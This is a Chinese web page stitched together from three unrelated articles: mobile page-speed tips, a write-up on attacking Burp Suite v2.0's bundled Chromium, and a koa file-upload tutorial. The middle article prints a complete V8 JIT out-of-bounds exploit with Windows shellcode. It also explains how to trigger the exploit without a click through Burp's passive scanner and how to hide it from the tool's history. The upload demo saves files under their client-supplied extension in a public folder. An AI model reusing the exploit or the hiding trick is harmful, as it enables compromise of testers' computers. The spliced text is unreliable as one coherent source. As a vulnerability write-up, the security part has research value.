这个信息爆炸的时代,使用移动终端获取新鲜信息已经是大势所趋,但是移动网页浏览速度还有巨大的提升空间。据 Strangeloop Networks 统计,在同样的网络条件下,使用移动端访问相同网页平均会比 PC 端慢40%!然而另一方面,用户对网速的要求却步步紧逼。研究表明,网页响应时间可容忍的阀值是2秒,一旦超过3秒,会有40%的用户放弃浏览页面。
所谓天下武功,唯快不破!想要设计更快的网页优化速度,我们可以借鉴成功的优化经验,全球最大的CDN服务商Akamai(阿卡迈)针对移动体验的问题,提供了一套较为完整的解决方案,感兴趣的读者可以前往注册下载;与此同时,我们也可以采用直接的技术手段,本文从PC端优化经验、HTTP/2优化协议、优化蜂窝网络、以及智能的加载方案设计四个维度,总结了一些提升移动网页加载速度的方法和技巧。
一、PC 端网站优化方案
不论在 PC 还是在移动浏览器上,只有不到10%的时间是用来读取页面的 HTML 的。剩下的90%是用来加载额外的如样式表、脚本文件、或者图片这样的资源和执行客户端的程序。因此,许多在 PC 端的传统网页优化方案在移动端仍然可行。比如说:
1.1 减少每个页面的 HTTP 请求数
I. 将共用的 JavaScript 和 CSS 代码放在公共的文件夹中与多个页面共享。
II. 确保在一个页面中相同的脚本不会被加载多次。同时,将脚本中的 Click 事件改为 On Touch 事件来减少固有的300ms延迟。
III. 使用 CSS Sprites 来整合图像,将多张图片整合到一个线性的网状的大图片中。
IV. 使用 Cache-Control 或者 Expires 标记来实现浏览器缓存,从而减少不必要的服务器请求,尽可能地从本地缓存中获取资源。
1.2 减少每个请求加载的大小
I. 使用 gzip 这样的压缩技术来压缩图像和文本,依靠增加服务端压缩和浏览器解压的步骤,来减少资源的负载。
II. 整合并压缩 CSS 与 JavaScript,删除不必要的字符与变量。
III. 动态地调整图片大小或者将图片替换为移动设备专用的更小的版本。
IV. 分段加载和隐藏加载等手段,可以将不可见区域的内容延迟加载或暂时不需要的脚本进行延时读取
二、采用更优的 HTTP/2 协议
2.1 多路复用技术带来的请求-响应加速
I. HTTP/2 采用多路复用的技术,允许同时通过单一的 HTTP/2 连接发起多重的请求响应消息,从而大大的加快了网页加载时间。
2.2 更节省空间的二进制头部数据嵌套
I. HTTP/2 采用二进制格式传输数据,并把他们分割为更小的帧,相比于 HTTP/1.x 的文本格式传输更为方便。
II. HTTP1.x 的 header 由于 cookie 和 user agent 很容易膨胀,而且每次都要重复发送。HTTP/2 对消息头采用 HPACK 进行压缩传输,能够节省消息头占用的网络流量。
2.3 Server Push 带来的更快的资源推送
I. 通过 Server Push 功能,服务端可以主动把 JS 和 CSS 等文件发送给终端,而省去了解析HTML 请求的过程。简单的说,当你需要访问某个文件的时候,它已经在乖乖的在后台躺好了。
三、优化蜂窝网络
I.具有实力的内容服务商可以把资源配置在离用户地理位置更近的地方,缩短最后一公里。
II. 与移动网络服务商合作共同开发算法,实现实时自动调整互联网路由,避免网络拥堵、丢包与离线问题。
III. 还可以采用优化TCP协议的方法,通过借助主流的Cubic、Bic以及Westwood算法,可以有效的避免网络拥堵。
IV. 此外,还可以研究算法改善NAT嵌套导致的网络延时,也可以直接通过IPV6的连接协议规避NAT的延迟问题。
四、设计更加智能的加载方案
4.1采用分段加载和隐藏加载
I.分段加载又称懒加载,它能够在用户滚动页面的时候自动获取更多的数据,从而可以很大程度上减少服务器端的资源耗用。诸如Lazyload.js或Belazy.js都是非常成熟易用的开发包。
II. 隐藏加载是在页面显示后再加载用户暂时看不到的信息,诸如图片展示窗里除了第一张图片,其他图片都可以采用隐藏加载的技术。
4.2采用预加载技术
I.资源预加载目的是让浏览器在空闲时间下载或预读取一些文档资源,用户在将来将会访问这些资源时浏览器能快速的从缓存里提取给用户。
II. 预加载技术不仅支持PC,也已经支持Android系统,可惜的是目前尚不支持iOS Safari。
III. 事实上,Prefetch是网页优化里Prebrowsing的一部分,开发者还可以通过DNS-Prefetch , Subresource,Preconnect,Prerender等技术来实现预先解析DNS与提前渲染等优化。
4.3通过机器学习的手段智能加载
I.通过机器学习的方法,网站可以自动收集并分析用户的浏览习惯与访问信息,然后通过预加载的手段将最有可能访问的信息提前加载完成。
4.4智能调整图片分辨率
I.图片通常占用了Web页面加载的大部分网络资源,也占据了页面缓存的主要空间。 根据统计,一个站点平均62%的内容都是由图片组成。管理这些图片除了需要考虑到图片的大小、格式、旋转、艺术处理、增加水印、存储空间等,还要顾及海量的设备的屏幕尺寸,以及适应终端上运行的浏览器。
以上是我们给开发者总结的一些经验分享,希望能够对读者有所帮助,大家也可以注册下载阿卡迈的技术PPT详细了解如何通过CDN 的方式为(移动)网页提速。我们需要明确的是,专注移动网页的性能优化无疑是开发者需要努力的方向,然而用户并不等于机器。用户不关心你的网站发出了多少请求,也不在乎你的屏幕渲染得有多快,他们只关心网站带给他们体验上的感觉。因此,开发者在进行技术优化时,不仅仅是在某一技术点上的优化,更需要从网站的整体性能规划把控,让整个网站给客户呈现出更快的加载体验!
Headless Chrome是谷歌Chrome浏览器的无界面模式,通过命令行方式打开网页并渲染,常用于自动化测试、网站爬虫、网站截图、XSS检测等场景。
近几年许多桌面客户端应用中,基本都内嵌了Chromium用于业务场景使用,但由于开发不当、CEF版本不升级维护等诸多问题,攻击者可以利用这些缺陷攻击客户端应用以达到命令执行效果。
本文以知名渗透软件Burp Suite举例,从软件分析、漏洞挖掘、攻击面扩展等方面进行深入探讨。
以Burp Suite Pro v2.0beta版本为例,要做漏洞挖掘首先要了解软件架构及功能点。
将burpsuite_pro_v2.0.11beta.jar进行解包,可以发现Burp Suite打包了Windows、Linux、Mac的Chromium,可以兼容在不同系统下运行内置Chromium浏览器。
在Windows系统中,Burp Suite v2.0运行时会将chromium-win64.7z解压至C:\Users\user\AppData\Local\JxBrowser\browsercore-64.0.3282.24.unknown\目录
从目录名及数字签名得知Burp Suite v2.0是直接引用JxBrowser浏览器控件,其打包的Chromium版本为64.0.3282.24。
那如何在Burp Suite中使用内置浏览器呢?在常见的使用场景中,Proxy -> HTTP history -> Response -> Render及Repeater -> Render都能够调用内置Chromium浏览器渲染网页。
当Burp Suite唤起内置浏览器browsercore32.exe打开网页时,browsercore32.exe会创建Renderer进程及GPU加速进程。
browsercore32.exe进程运行参数如下:
// Chromium主进程
C:\Users\user\AppData\Local\JxBrowser\browsercore-64.0.3282.24.unknown\browsercore32.exe --port=53070 --pid=13208 --dpi-awareness=system-aware --crash-dump-dir=C:\Users\user\AppData\Local\JxBrowser --lang=zh-CN --no-sandbox --disable-xss-auditor --headless --disable-gpu --log-level=2 --proxy-server="socks://127.0.0.1:0" --disable-bundled-ppapi-flash --disable-plugins-discovery --disable-default-apps --disable-extensions --disable-prerender-local-predictor --disable-save-password-bubble --disable-sync --disk-cache-size=0 --incognito --media-cache-size=0 --no-events --disable-settings-window
// Renderer进程
C:\Users\user\AppData\Local\JxBrowser\browsercore-64.0.3282.24.unknown\browsercore32.exe --type=renderer --log-level=2 --no-sandbox --disable-features=LoadingWithMojo,browser-side-navigation --disable-databases --disable-gpu-compositing --service-pipe-token=C06434E20AA8C9230D15FCDFE9C96993 --lang=zh-CN --crash-dump-dir="C:\Users\user\AppData\Local\JxBrowser" --enable-pinch --device-scale-factor=1 --num-raster-threads=1 --enable-gpu-async-worker-context --disable-accelerated-video-decode --service-request-channel-token=C06434E20AA8C9230D15FCDFE9C96993 --renderer-client-id=2 --mojo-platform-channel-handle=2564 /prefetch:1
从进程运行参数分析得知,Chromium进程以headless模式运行、关闭了沙箱功能、随机监听一个端口(用途未知)。
Chromium组件的历史版本几乎都存在着1Day漏洞风险,特别是在客户端软件一般不会维护升级Chromium版本,且关闭沙箱功能,在没有沙箱防护的情况下漏洞可以无限制利用。
Burp Suite v2.0内置的Chromium版本为64.0.3282.24,该低版本Chromium受到多个历史漏洞影响,可以通过v8引擎漏洞执行shellcode从而获得PC权限。
以Render功能演示,利用v8漏洞触发shellcode打开计算器(此处感谢Sakura提供漏洞利用代码)
这个漏洞没有公开的CVE ID,但其详情可以在这里找到。
该漏洞的Root Cause是在进行Math.expm1的范围分析时,推断出的类型是Union(PlainNumber, NaN),忽略了Math.expm1(-0)会返回-0的情况,从而导致范围分析错误,导致JIT优化时,错误的将边界检查CheckBounds移除,造成了OOB漏洞。
<html>
<head></head>
</body>
<script>
function pwn() {
var f64Arr = new Float64Array(1);
var u32Arr = new Uint32Array(f64Arr.buffer);
function f2u(f) {
f64Arr[0] = f;
return u32Arr;
}
function u2f(h, l)
{
u32Arr[0] = l;
u32Arr[1] = h;
return f64Arr[0];
}
function hex(i) {
return "0x" + i.toString(16).padStart(8, "0");
}
function log(str) {
console.log(str);
document.body.innerText += str + '\n';
}
var big_arr = [1.1, 1.2];
var ab = new ArrayBuffer(0x233);
var data_view = new DataView(ab);
function opt_me(x) {
var oob_arr = [1.1, 1.2, 1.3, 1.4, 1.5, 1.6];
big_arr = [1.1, 1.2];
ab = new ArrayBuffer(0x233);
data_view = new DataView(ab);
let obj = {
a: -0
};
let idx = Object.is(Math.expm1(x), obj.a) * 10;
var tmp = f2u(oob_arr[idx])[0];
oob_arr[idx] = u2f(0x234, tmp);
}
for (let a = 0; a < 0x1000; a++)
opt_me(0);
opt_me(-0);
var optObj = {
flag: 0x266,
funcAddr: opt_me
};
log("[+] big_arr.length: " + big_arr.length);
if (big_arr.length != 282) {
log("[-] Can not modify big_arr length !");
return;
}
var backing_store_idx = -1;
var backing_store_in_hign_mem = false;
var OptObj_idx = -1;
var OptObj_idx_in_hign_mem = false;
for (let a = 0; a < 0x100; a++) {
if (backing_store_idx == -1) {
if (f2u(big_arr[a])[0] == 0x466) {
backing_store_in_hign_mem = true;
backing_store_idx = a;
} else if (f2u(big_arr[a])[1] == 0x466) {
backing_store_in_hign_mem = false;
backing_store_idx = a + 1;
}
}
else if (OptObj_idx == -1) {
if (f2u(big_arr[a])[0] == 0x4cc) {
OptObj_idx_in_hign_mem = true;
OptObj_idx = a;
} else if (f2u(big_arr[a])[1] == 0x4cc) {
OptObj_idx_in_hign_mem = false;
OptObj_idx = a + 1;
}
}
}
if (backing_store_idx == -1) {
log("[-] Can not find backing store !");
return;
} else
log("[+] backing store idx: " + backing_store_idx +
", in " + (backing_store_in_hign_mem ? "high" : "low") + " place.");
if (OptObj_idx == -1) {
log("[-] Can not find Opt Obj !");
return;
} else
log("[+] OptObj idx: " + OptObj_idx +
", in " + (OptObj_idx_in_hign_mem ? "high" : "low") + " place.");
var backing_store = (backing_store_in_hign_mem ?
f2u(big_arr[backing_store_idx])[1] :
f2u(big_arr[backing_store_idx])[0]);
log("[+] Origin backing store: " + hex(backing_store));
var dataNearBS = (!backing_store_in_hign_mem ?
f2u(big_arr[backing_store_idx])[1] :
f2u(big_arr[backing_store_idx])[0]);
function read(addr) {
if (backing_store_in_hign_mem)
big_arr[backing_store_idx] = u2f(addr, dataNearBS);
else
big_arr[backing_store_idx] = u2f(dataNearBS, addr);
return data_view.getInt32(0, true);
}
function write(addr, msg) {
if (backing_store_in_hign_mem)
big_arr[backing_store_idx] = u2f(addr, dataNearBS);
else
big_arr[backing_store_idx] = u2f(dataNearBS, addr);
data_view.setInt32(0, msg, true);
}
var OptJSFuncAddr = (OptObj_idx_in_hign_mem ?
f2u(big_arr[OptObj_idx])[1] :
f2u(big_arr[OptObj_idx])[0]) - 1;
log("[+] OptJSFuncAddr: " + hex(OptJSFuncAddr));
var OptJSFuncCodeAddr = read(OptJSFuncAddr + 0x18) - 1;
log("[+] OptJSFuncCodeAddr: " + hex(OptJSFuncCodeAddr));
var RWX_Mem_Addr = OptJSFuncCodeAddr + 0x40;
log("[+] RWX Mem Addr: " + hex(RWX_Mem_Addr));
var shellcode = new Uint8Array(
[0x89, 0xe5, 0x83, 0xec, 0x20, 0x31, 0xdb, 0x64, 0x8b, 0x5b, 0x30, 0x8b, 0x5b, 0x0c, 0x8b, 0x5b,
0x1c, 0x8b, 0x1b, 0x8b, 0x1b, 0x8b, 0x43, 0x08, 0x89, 0x45, 0xfc, 0x8b, 0x58, 0x3c, 0x01, 0xc3,
0x8b, 0x5b, 0x78, 0x01, 0xc3, 0x8b, 0x7b, 0x20, 0x01, 0xc7, 0x89, 0x7d, 0xf8, 0x8b, 0x4b, 0x24,
0x01, 0xc1, 0x89, 0x4d, 0xf4, 0x8b, 0x53, 0x1c, 0x01, 0xc2, 0x89, 0x55, 0xf0, 0x8b, 0x53, 0x14,
0x89, 0x55, 0xec, 0xeb, 0x32, 0x31, 0xc0, 0x8b, 0x55, 0xec, 0x8b, 0x7d, 0xf8, 0x8b, 0x75, 0x18,
0x31, 0xc9, 0xfc, 0x8b, 0x3c, 0x87, 0x03, 0x7d, 0xfc, 0x66, 0x83, 0xc1, 0x08, 0xf3, 0xa6, 0x74,
0x05, 0x40, 0x39, 0xd0, 0x72, 0xe4, 0x8b, 0x4d, 0xf4, 0x8b, 0x55, 0xf0, 0x66, 0x8b, 0x04, 0x41,
0x8b, 0x04, 0x82, 0x03, 0x45, 0xfc, 0xc3, 0xba, 0x78, 0x78, 0x65, 0x63, 0xc1, 0xea, 0x08, 0x52,
0x68, 0x57, 0x69, 0x6e, 0x45, 0x89, 0x65, 0x18, 0xe8, 0xb8, 0xff, 0xff, 0xff, 0x31, 0xc9, 0x51,
0x68, 0x2e, 0x65, 0x78, 0x65, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x89, 0xe3, 0x41, 0x51, 0x53, 0xff,
0xd0, 0x31, 0xc9, 0xb9, 0x01, 0x65, 0x73, 0x73, 0xc1, 0xe9, 0x08, 0x51, 0x68, 0x50, 0x72, 0x6f,
0x63, 0x68, 0x45, 0x78, 0x69, 0x74, 0x89, 0x65, 0x18, 0xe8, 0x87, 0xff, 0xff, 0xff, 0x31, 0xd2,
0x52, 0xff, 0xd0, 0x90, 0x90, 0xfd, 0xff]
);
log("[+] writing shellcode ... ");
for (let i = 0; i < shellcode.length; i++)
write(RWX_Mem_Addr + i, shellcode[i]);
log("[+] execute shellcode !");
opt_me();
}
pwn();
</script>
</body>
</html>
用户在通过Render功能渲染页面时触发v8漏洞成功执行shellcode。
Render功能需要用户交互才能触发漏洞,相对来说比较鸡肋,能不能0click触发漏洞?答案是可以的。
Burp Suite v2.0的Live audit from Proxy被动扫描功能在默认情况下开启JavaScript分析引擎(JavaScript analysis),用于扫描JavaScript漏洞。
其中JavaScript分析配置中,默认开启了动态分析功能(dynamic analysis techniques)、额外请求功能(Make requests for missing Javascript dependencies)
JavaScript动态分析功能会调用内置chromium浏览器对页面中的JavaScript进行DOM XSS扫描,同样会触发页面中的HTML渲染、JavaScript执行,从而触发v8漏洞执行shellcode。
额外请求功能当页面存在script标签引用外部JS时,除了页面正常渲染时请求加载script标签,还会额外发起请求加载外部JS。即两次请求加载外部JS文件,并且分别执行两次JavaScript动态分析。
额外发起的HTTP请求会存在明文特征,后端可以根据该特征在正常加载时返回正常JavaScript代码,额外加载时返回漏洞利用代码,从而可以实现在Burp Suite HTTP history中隐藏攻击行为。
GET /xxx.js HTTP/1.1
Host: www.xxx.com
Connection: close
Cookie: JSESSIONID=3B6FD6BC99B03A63966FC9CF4E8483FF
JavaScript动态分析 + 额外请求 + chromium漏洞组合利用效果:
默认情况下Java发起HTTPS请求时协商的算法会受到JDK及操作系统版本影响,而Burp Suite自己实现了HTTPS请求库,其TLS握手协商的算法是固定的,结合JA3算法形成了TLS流量指纹特征可被检测,有关于JA3检测的知识点可学习《TLS Fingerprinting with JA3 and JA3S》。
Cloudflare开源并在CDN产品上应用了MITMEngine组件,通过TLS指纹识别可检测出恶意请求并拦截,其覆盖了大多数Burp Suite版本的JA3指纹从而实现检测拦截。这也可以解释为什么在渗透测试时使用Burp Suite请求无法获取到响应包。
以Burp Suite v2.0举例,实际测试在各个操作系统下,同样的jar包发起的JA3指纹是一样的。
不同版本Burp Suite支持的TLS算法不一样会导致JA3指纹不同,但同样的Burp Suite版本JA3指纹肯定是一样的。如果需要覆盖Burp Suite流量检测只需要将每个版本的JA3指纹识别覆盖即可检测Burp Suite攻击从而实现拦截。
本文章涉及内容仅限防御对抗、安全研究交流,请勿用于非法途径。
今年国庆假期终于可以憋在家里了不用出门了,不用出去看后脑了,真的是一种享受。这么好的光阴怎么浪费,睡觉、吃饭、打豆豆这怎么可能(耍多了也烦),完全不符合我们程序员的作风,赶紧起来把文章写完。
这篇文章比较基础,在国庆期间的业余时间写的,这几天又完善了下,力求把更多的前端所涉及到的关于文件上传的各种场景和应用都涵盖了,若有疏漏和问题还请留言斧正和补充。
以下是本文所涉及到的知识点,break or continue ?
原理很简单,就是根据 http 协议的规范和定义,完成请求消息体的封装和消息体的解析,然后将二进制内容保存到文件。
我们都知道如果要上传一个文件,需要把 form 标签的enctype设置为multipart/form-data,同时method必须为post方法。
那么multipart/form-data表示什么呢?
multipart互联网上的混合资源,就是资源由多种元素组成,form-data表示可以使用HTML Forms 和 POST 方法上传文件,具体的定义可以参考RFC 7578。
multipart/form-data 结构
看下 http 请求的消息体
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDCntfiXcSkPhS4PN 表示本次请求要上传文件,其中boundary表示分隔符,如果要上传多个表单项,就要使用boundary分割,每个表单项由———XXX开始,以———XXX结尾。
每一个表单项又由Content-Type和Content-Disposition组成。
Content-Disposition: form-data 为固定值,表示一个表单元素,name 表示表单元素的 名称,回车换行后面就是name的值,如果是上传文件就是文件的二进制内容。
Content-Type:表示当前的内容的 MIME 类型,是图片还是文本还是二进制数据。
解析
客户端发送请求到服务器后,服务器会收到请求的消息体,然后对消息体进行解析,解析出哪是普通表单哪些是附件。
可能大家马上能想到通过正则或者字符串处理分割出内容,不过这样是行不通的,二进制buffer转化为string,对字符串进行截取后,其索引和字符串是不一致的,所以结果就不会正确,除非上传的就是字符串。
不过一般情况下不需要自行解析,目前已经有很成熟的三方库可以使用。
至于如何解析,这个也会占用很大篇幅,后面的文章在详细说。
使用 form 表单上传文件
在 ie时代,如果实现一个无刷新的文件上传那可是费老劲了,大部分都是用 iframe 来实现局部刷新或者使用 flash 插件来搞定,在那个时代 ie 就是最好用的浏览器(别无选择)。
DEMO
这种方式上传文件,不需要 js ,而且没有兼容问题,所有浏览器都支持,就是体验很差,导致页面刷新,页面其他数据丢失。
HTML
<form method="post" action="http://localhost:8100" enctype="multipart/form-data">
选择文件:
<input type="file" name="f1"/> input 必须设置 name 属性,否则数据无法发送<br/>
<br/>
标题:<input type="text" name="title"/><br/><br/><br/>
<button type="submit" id="btn-0">上 传</button>
</form>
复制代码
服务端文件的保存基于现有的库koa-body结合 koa2实现服务端文件的保存和数据的返回。
在项目开发中,文件上传本身和业务无关,代码基本上都可通用。
在这里我们使用koa-body库来实现解析和文件的保存。
koa-body 会自动保存文件到系统临时目录下,也可以指定保存的文件路径。
然后在后续中间件内得到已保存的文件的信息,再做二次处理。
NODE
/**
* 服务入口
*/
var http = require('http');
var koaStatic = require('koa-static');
var path = require('path');
var koaBody = require('koa-body');//文件保存库
var fs = require('fs');
var Koa = require('koa2');
var app = new Koa();
var port = process.env.PORT || '8100';
var uploadHost= `http://localhost:${port}/uploads/`;
app.use(koaBody({
formidable: {
//设置文件的默认保存目录,不设置则保存在系统临时目录下 os
uploadDir: path.resolve(__dirname, '../static/uploads')
},
multipart: true // 开启文件上传,默认是关闭
}));
//开启静态文件访问
app.use(koaStatic(
path.resolve(__dirname, '../static')
));
//文件二次处理,修改名称
app.use((ctx) => {
var file = ctx.request.files.f1;//得道文件对象
var path = file.path;
var fname = file.name;//原文件名称
var nextPath = path+fname;
if(file.size>0 && path){
//得到扩展名
var extArr = fname.split('.');
var ext = extArr[extArr.length-1];
var nextPath = path+'.'+ext;
//重命名文件
fs.renameSync(path, nextPath);
}
//以 json 形式输出上传文件地址
ctx.body = `{
"fileUrl":"${uploadHost}${nextPath.slice(nextPath.lastIndexOf('/')+1)}"
}`;
});
/**
* http server
*/
var server = http.createServer(app.callback());
server.listen(port);
console.log('demo1 server start ...... ');
复制代码
CODE
https://github.com/Bigerfe/fe-learn-code/
*请认真填写需求信息,我们会在24小时内与您取得联系。